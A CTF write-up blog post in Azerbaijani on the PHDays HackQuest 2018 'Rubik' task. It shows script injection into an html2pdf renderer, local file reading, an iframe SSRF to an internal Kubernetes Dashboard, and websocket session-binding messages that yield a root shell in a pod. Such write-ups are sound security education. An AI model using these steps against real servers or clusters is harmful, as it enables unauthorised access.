Sunday, April 29, 2018

PHDays HackQuest 2018 Rubik WriteUP (Kubernetes Exploitation)

Bir neçə gün öncə başlayan Wallarm tərəfindən təşkil edilən PHDays HackQuest-də Rubik taskı haqqında yazacam.

İlk öncə tasklar belədir:

event0
mnogorock
k3y
sincity
wowsuchchain
audio.mp3
malwaremustlive
board
eNgeeks
Rubik
CryptoApocalypse


Telegram kanalında belə bir xatırlatma var idi:

Just want to remind you that /tasks is sorted by complexity, simple at first

Sonuncu tasklardan olan Rubik taskına baxdığımız zaman Wordpress üzərində qurulmuş bir blog var.
Daha sonra kanalda bir hint göndərildi. Hint isə belə idi:

Hint for Rubik: Notice the "print" button in news. Veeery strange! Can I print my article?

Source code-a baxdığımızda print button-ın yanında belə bir comment ilə qarşılaşırıq.

<!-- UPD 25.04.2018, bold button for html2pdf --><b><a href='?print'>[Print]</a></b>


html2pdf haqqında oxuduğda isə bu library html səhifənin pdf formatına çevrilməsi üçün istifadə edildiyini görmək olar. Daha sonra bu blogda qeydiyyatdan keçərək post əlavə etməyi yoxladım. Post əlavə etdikdən sonra review üçün administratora göndərmək lazım olur postu ancaq Review edərək biz kontenti görə bilirik. Daha sonra review hissəsində Print button-dan istifadə edərək yazdığım html kontenti görə bildim. Test üçün istifadə etdiyim payload belə idi:

<script>document.write("can you pwn me?")</script>


Artıq hər hansı bir JS kodunun html2pdf library tərəfindən handle edildiyini bilirik. Daha sonra Ajax kod ilə file:// scheması istifadə edərək hər hansı bir faylın oxunmasını yoxladım və /etc/passwd faylını yoxlayaraq oxuya bildim. Ancaq gecə saatlarında əməliyyat sistemində flag axtararkən Telegram kanalda bu task haqqında növbəti hint gəldi.

Hint for Rubik: There is no need to read local files.

The blog is not the only service on the host.


Artıq əmin oldum ki, hər hansı bir fayl oxunmasına ehtiyyac yoxdur. Sonuncu məqalədə qeyd edildiyi kimi iframe vasitəsi ilə daxili portları yoxlamağa başladım.
Sistemdə digər servisləri yoxlamaq üçün aşağıdakı kod ilə digər portları yoxlamağa başladım. 

<iframe src="http://127.0.0.1:8080"></iframe>

Bu iframe kodunu yoxladığdan sonra sistemdə 8080 portu üzərində Kubernetes Container Orchestration idarə edilməsi üçün Dashboard olduğunu gördüm.


Həmçinin DevOps environmentlərlə çalışdığım üçündə Kubernetesi artıq bir neçə ay əvvəldən istifadə edib öyrənmişdim Kubernetes ilə nələr edə biləciyimi düşünəndə kubernetes dashboard yeni api-də shell execution enviromentının feature olaraq əlavə edildiyini bilirdim. Daha sonra düşündüm ki, default namespace-dəki podların siyahısına baxmalıyam. Kubernetes dashboardın frontend texnologiya olaraq AngularJS istifadə etdiyini bilərək artıq Dashboard-ın istifadə etdiyi APİ üzərində araşdırmalar aparmağa başladım.
Kubernetesin current namespace-dəki podların siyahısını çəkmək üçün /api/v1/pod parametrini istifadə etdiyini gördüm. Burada isə Dashboard üçün APİ kommunikasiya üçün Golang ilə Rest APİ routing interfeysi hazırlanıb. Daha sonra bütün podların siyahısını görmək üçün sorğu göndərdikdə mənə qayıdan nəticə belə oldu:

Response-da göründüyü kimi mənə lazım olan flag kontaynerinin yerləşdiyi pod-u artıq bilirəm. Artıq növbəti addımda bu kontayner üzərində shell environment almaq idi mənə lazım olan proses. Bundan əvvəl kubelet API-a məxsus 10255 və 10250 portlarını yoxlamışdım əvvəlcədən ancaq bir nəticə ala bilməmişdim. Sonra Kubernetes Dashboardı source kodlarını analiz etməyə başladım həmçinin dashboard üzərdinə research aparmağa başladım. Brauzer üzərində bəzi araşdırmalar apardığda Kubernetes Dashboard üzərində interaktiv shell execution environmenti üçün Websocket protokolonu istifadə etdiyini gördüm daha sonra source kod üzərində initialization proseslərinə baxmağa başladım. Kod üzərində ilkin initialization stage-də dashboard APİ üzərində Session İD dəyəri generasiya edilir və bütün sessiya boyu bu session id istifadə edilir.

API for generation session id:
"api/v1/pod/default/flagggg-v233-923pra/shell/flag"

Browser vasitəsi ilə session id generasiya olunmağı üçün request göndərdikdə:

Request URL: http://0xdeadbeef/api/v1/pod/default/flagggg-v233-923pra/shell/flag

Response olaraq bizə session id göndərilir:

id:"5e1b1fde44803fe4c93e3d628b4f8114"

Source kod üzərində baxdığda isə:




handleExecShell funksiyası vasitəsi ilə terminal session id generasiya edilir:

// Handles execute shell API call
func (apiHandler *APIHandler) handleExecShell(request *restful.Request, response *restful.Response) {
 sessionId, err := genTerminalSessionId()
 if err != nil {
  kdErrors.HandleInternalError(response, err)
  return
 }

 k8sClient, err := apiHandler.cManager.Client(request)
 if err != nil {
  kdErrors.HandleInternalError(response, err)
  return
 }

 cfg, err := apiHandler.cManager.Configrequest)
 if err != nil {
  kdErrors.HandleInternalError(response, err)
  return
 }

 terminalSessions[sessionId] = TerminalSession{
  id:       sessionId,
  bound:    make(chan error),
  sizeChan: make(chan remotecommand.TerminalSize),
 }
 go WaitForTerminal(k8sClient, cfg, request, sessionId)
 response.WriteHeaderAndEntity(http.StatusOK, TerminalResponse{Id: sessionId})
}



Sonra isə SockJS adında javascript library ilə yaradılan terminal websocket sessiyasına qoşulma edərək interaktiv direktivləri göndərir. Qoşulma üçün istifadə edilən JS koduna baxaq:

  /**
   * Attached to hterm.onTerminalReady
   * @private
   */
  onTerminalReady() {
    this.io = this.term.io.push();
    this.resource_(`api/v1/pod/${this.stateParams_.objectNamespace}/${this.podName}/shell/${
                       this.container}`)
        .get({}, this.onTerminalResponseReceived.bind(this));
  }

  /**
   * Called when .../shell/... resource is fetched
   * @private
   */
  onTerminalResponseReceived(terminalResponse) {
    // https://github.com/sockjs/sockjs-client
    this.conn = new SockJS(`api/sockjs?${terminalResponse.id}`);
    this.conn.onopen = this.onConnectionOpen.bind(this, terminalResponse);
    this.conn.onmessage = this.onConnectionMessage.bind(this);
    this.conn.onclose = this.onConnectionClose.bind(this);
  }


Generasiya edilmiş session id alındığdan sonra açılmış websocket-ə göndərilir:

  /**
   * Attached to SockJS.onopen
   * @private
   */
  onConnectionOpen(terminalResponse) {
    this.conn.send(JSON.stringify({'Op': 'bind', 'SessionID': terminalResponse.id}));

    // Send at at least one resize event after attach so pty has the initial size
    this.onTerminalResize(this.term.screenSize.width, this.term.screenSize.height);

    this.io.onVTKeystroke = this.onTerminalVTKeystroke.bind(this);
    this.io.sendString = this.onTerminalSendString.bind(this);
    this.io.onTerminalResize = this.onTerminalResize.bind(this);
  }


Brauzer üzərində stabil websocket connection sonrasında göndərilən məlumatlara baxaq:




İlk olaraq terminal initilization üçün bu iki direktiv ard arda göndərilir:

"{"Op":"bind","SessionID":"5e1b1fde44803fe4c93e3d628b4f8114"}"

"{"Op":"resize","Cols":x,"Rows":y}"

Sonra is response olaraq shell prompt gəldiyini görürük:
"{"Op":"stdout","Data":"root@youcanpwnme:/myapp# ","SessionID":"","Rows":0,"Cols":0}"

Artıq burada shell environmentin işləmə prinsipi anlayandan sonra WebSocket obyektini istifadə edərək terminal session id generasiya edib command prompt almağa çalışdım. İlk öncə hackquestdə olan kubernetes dashboard api üzərində session id yaratmaq üçün bir iframe ilə request göndərdim:

<iframe src="http://127.0.0.1:8080/api/v1/pod/default/flagggg-d54f5c54f-nvb26/shell/flag"></iframe>



Terminal Session İd generasiya edildi:

Bu id dəyərini alaraq websocket yaradaraq yuxarıda göstərilən direktivləri göndəririk API adresinə. Bunun üçün isə mən kiçik bir payload hazırladım:



Ardından convert edilən pdf kontentində alınan shell prompt məlumatını görürük:


Response olaraq isə bizə Flag dəyərinin gəldiyini görürük :)
Flag: md5(Hallo_from_bykva)

No comments:

Post a Comment